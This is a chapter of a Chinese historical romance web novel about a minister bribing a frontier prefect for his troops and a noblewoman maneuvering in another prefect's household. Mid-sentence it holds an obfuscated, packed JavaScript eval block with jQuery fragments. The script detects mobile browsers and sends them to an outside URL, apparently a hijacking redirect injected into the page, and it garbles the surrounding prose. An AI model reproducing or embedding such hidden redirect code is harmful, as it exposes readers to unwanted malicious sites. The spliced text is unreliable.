星城，太守府内。


    一位身穿紫色绣狮纹暗袍的官员坐在太师椅上，优哉游哉地端着瓷盏，轻轻地刮去悬浮在茶水上的茶沫，饮了一口热茶。


    滚烫的茶水入喉，苦得他差点当堂失仪，将茶水全数喷出来。


    刘忠良黝黑的眉头皱在一处，这星城虽然远不及京城富贵奢靡，但太守好歹也是一城的父母官，堂堂太守府竟然拿不出一盏像样的茶？！


    一旁的林鸣海神情变幻莫测，最后阴恻恻地看着这满堂荒诞：“刘尚书，你这是何意？”


    秋意渐浓，星城地处大乾的中西部，本就苦寒萧瑟，但放眼望去，这跪了一地的女子，皆是穿红戴绿，身披薄衫，露出雪白丰腴的肌肤。


    往日都是地方官员费劲苦心，给朝中进贡美人财物，以求升个一官半职，如今这朝廷亲自赐美人给地方官员，还是头一份的，当真罕见。


    刘忠良呷了一声：“林太守，你别这么古板，这些都是宫中万里挑一，姿色上乘的女子，侯爷嘱托我亲自进献给你，京城到星城一路苦不堪言，这可费了我好大一番劲才送来的。”


    怪他投诚投得晚，现下只能领上这个苦差事，不敌哪些见风使舵的人精，早早地投诚贺绍，沿着京城南下一路游说，南边地段优越，富庶繁华，而他如今只能喝着这难以入口的陈茶。


    他常年在京城享福，对地方官员的状况一无所知，更何况是这苦寒之地，差人调卷宗一打听，方才知晓星城太守的往事。


    此人早年丧妻丧子，又未纳有妾室，府上寂寥无比，刘忠良一咬牙，将自己府上美眷全数带了过来，贺绍许诺他，若是能顺利劝降星城太守，领回万余兵马，日后贺氏荣登宝座，内阁必定有他一员大将。


    可他都已经进府半个时辰了，这位太守依旧孑然不动。


    林鸣海“哦？”了一声，冷笑道：“刘尚书口中的侯爷，可是已经被圣上贬为庶民的贺绍？”


    “大胆！你竟敢对侯爷出言不敬！”


    刘忠良猛地拍下案桌，茶水四溅，一众美眷吓得纷纷把头埋得更低了。


    林鸣海睨了他一眼：“莫说他如今已是庶民，哪怕他日后当上皇帝，派人来找我，我还是这番话。”


    刘忠良被气得面部铁青，可偏偏这星城的兵马有南边三城总数之多，他不在乎威逼还是利诱，只要拿下，就是大功一件。


    “林太守，你可想清楚了？你若是识时务，交出兵马，我会在侯爷身边美言几句，日后总兵提督之位非你莫属，若你不识抬举，哼，下次我再来，可就不是带这些美人，而是领着兵马踏平这片土地！”


    林鸣海耐心尽失，也懒得废话，直接抄起剑：“半炷香之内，带上这些人，滚出太守府，否则刀剑无眼，别怪我不客气！”


    *


    苏怀黎回屋之后，察觉到霜月有些闷闷不乐，她不由得疑惑道：“霜月，你可是生气了？”


    霜月罕见的一脸幽怨地看着苏怀黎。


    进府之前，小姐特意交代她，如今她们乃是寄人篱下之身，行事需得察言观色，她牢牢记在心里，原以为只需要像刚入星城那会，做事谨小慎微便可，谁知道，入府撑不过一个时辰，她便怒火中烧。


    小姐可倒好，完全和变了一个人似的，面对那个太守和王夫人，神色罕见的柔顺，说是曲意逢迎也不为过。


    她着实气不过，干脆晚饭都没吃，直接回了房间。


    “小姐，奴婢不信你看不出来，那个吴太守就是见色起意，风流成性的公子哥，他那双色眼恨不得每时每刻地黏你身上，迟早有一天我要剜了他一双眼睛！”


    霜月越想越气愤，她家小姐千金之躯，金枝玉叶，就连将军素日里都不忍说半句重话，他区区一个地方太守，胆敢妄图染指！


    “不！我现在就去把他宰了！”她抄起剑就要夺门而出，被出声拦下。


    “站住。”苏怀黎走到她跟前，夺过她手里的剑，屋内没有兰锜，她只能找出一个与剑身差不多长短的匣盒，塞了进去。


    “不到万不得已，刀剑这种东西，不可轻易示人。”


    否则她忍气吞声的效果就白费了。


    霜月有气无处发，只能冷着一张脸委屈道：“小姐！”


    苏怀黎见状失笑：“霜月，你竟然会耍小性子了，真是难得，以前和你相处时，你总是面无表情，像个没人气的木头，如今有这等长进，甚好。”


    霜月被她揶揄后，微微一愣，木了脸：“奴婢有吗？”


    一定是她太过生气了，加之苏怀黎本身就没什么主子架子，一时间她就失了分寸，以往在焚音堂，将军若有命令，谁敢置喙半分。


    更奇怪的是，她明知自己失了分寸，但不仅不惶恐，竟有些被夸赞的喜悦。


    “可是小姐，那我们如今该怎么办？”


    人不仅杀不得，还得小心翼翼地奉承着，她一个奴婢还好，小姐怎能受这样的罪。


    苏怀黎敛眉道：“拖着，拖到他们松口，亦或是，我们能找到其他法子为止。”


    这俩母子可比一个林鸣海棘手多了，林鸣海心有大恨，但性情耿直，忠心不二，轻易便能化解矛盾，而这两人城府极深，贪欲重利，不可深交。


    所幸，如今在他二人眼中，她只是一个弱不禁风的苦命女子，折腾不起什么风浪，如此一来，对她的防备心便会日渐消解。


    而她故意在吴望轩跟前透露祝无恙与苏家的渊源，他少说也得掂量数日，趁此机会，她也好寻得一些突破的法子。


    “霜月，你即刻安排人手去探查一下苍海郡军营所在何地，另外，我记得吴望轩分明有一位庶弟，此人今日宴席上并未现身，需得查清他如今所在何处。”


    霜月立刻恢复严肃，拱手道：“是。”


    今日吴望轩所说的话，真假半参，她拿捏不准，但唯独一句话，她不信。


    他所言，苍海郡武备废弛，军无斗志，比不了那些上战场的精兵良将，难堪大用。


    战乱年代，士兵可是比财宝金还要金贵的存在，是各方党派博弈时首要拉拢的对象，他又怎会不知其中轻重？装糊涂罢了。


    她提一句出兵，王夫人闻言瞬间变了脸色。


    这俩母子指挥兵马的能力或许不行，但演技算是一流，她也只能忍着，费心陪他们演上一段时日。


    翌日，霜月替苏怀黎处理完腿/间的伤口之后，特意错开早膳的时间，急匆匆地出了府。


    一夜眠浅梦深，苏怀黎起身后，寻了两张昨日多买的澄心堂纸，定了定心神，提起紫毫笔。


    分别时，祝无恙除了嘱咐她要学会照顾好自己，还特意交代了数次，到了苍海郡之后千万记得给他写信，一日一次，只许多并不许少。


    她没忘，今日一早起来便琢磨这如何写这第一封


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15707489|163872||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    信。


    当初他不惜冷脸也要阻止她来苍海郡，就是因为对此地官员的深浅没有把握，如今一想，他的担忧不是没有道理。


    短短半日，她竟然有些疲乏了。


    她将这些日子的所见所闻在心上过了一遍，挑挑拣拣之后方才下笔，写了借兵之事不太顺利，吴氏母子拿着兵，得许以重利方才能打动他们，或许重逢之日还得拖上一拖，叫他勿要牵挂。


    但并未提及自己腿侧如今的火烧一般疼痛的伤口，以及昨日霜月义愤填膺说的那些话。


    送信之人，是守在门口看护她的“家仆”，她甫一推开门，便见门前伫立着一位梳着双丫髻的姑娘，捧着一个托盘，莫名有些眼熟。


    她奇道：“你是哪个院里的丫鬟，站在这所谓何事？”


    丫鬟恭敬道：“回小姐，奴婢是王夫人院里的，夫人命奴婢给您送衣裳。”


    难怪觉得有些眼熟，这位丫鬟是昨日王夫人在席间安排给她布菜的，王氏极其看重礼节，主仆之分，天壤之别，哪怕是吃个饭，自己也懒得抬手。


    她嗓音含着些许关切：“我一直在屋内，也未曾听见外头有动静，你站在这多久了？”


    “回小姐，夫人吩咐，不可擅自打扰小姐休息，奴婢在此处等霜月姑娘便好。”


    丫鬟一句一个“回小姐”，苏怀黎一时间竟有些不知怎么回答，这太守府上下，竟然比苏府都来得等级森严。


    她叹了口气：“怪我今日嘴馋，离开京城数月，难免想念家乡的点心，一早我便差霜月去街上买，日后你也别在门外傻站着了，直接敲门便可。”


    “奴婢是下人，不可失了礼数。”


    这丫鬟徐徐进了屋，将托盘上面衣裳整齐妥帖地挂在衣桁上，方才退下。


    苏怀黎没由来得一阵烦闷，霜月去而复返也不知还要多久，她身边也没个能说上话的，早知昨日不该夸下海口，说自己平日里大门不出二门不迈，真是搬起石头砸自己的脚。


    大家闺秀不出门，但总能在院里逛逛吧？她心念一转，穿上王氏替她准备的衣裳，踱步出了屋。


    昨日到太守府时已经是暮色四合，她没时间和心思在府上闲逛，一出屋才发现，这府院比她想象中还要气派许多。


    此处的装潢修缮，甚至不亚于苏府的主院，同样是苦寒之地，星城的太守府上没个主母操持，院内的杂草花卉数月都没人打理，而这个院子花木扶疏，穿过月洞门，沿着蜿蜒曲折的小径，竟还有一潭碧水映天，湖畔边雅亭坐落，垂柳相依。


    苏怀黎一时好奇，径直往八角亭走去，没发觉有两人正坐在亭中赏湖。


    两位女子身穿花红柳绿的裙服，浓妆艳裹，粉面精致。


    她暗自腹诽，这院子，怎还有其他的女眷？


    片刻间，两位美人便笑盈盈地迎了上来，苏怀黎面上不显，也按着礼数作揖行礼。


    她斟酌开口：“我昨日刚入府，初来乍到，对这柳清院的格局也不熟悉，一时间便走到了这里，不知二位姐姐是？”


    话音刚落，二位美人便不住地咯咯笑出声，举手投足之间尽显娇媚之态。


    其中一位美人才笑得缓过劲来，打量了一下苏怀黎这身罗裳，笑吟吟道：“妹妹刚入府，有所不知，我二位皆是太守的妾室，这柳清院是郎君赐予我们的院落，我瞧妹妹清容绝代，仙姿玉质，当个妾室着实可惜了。”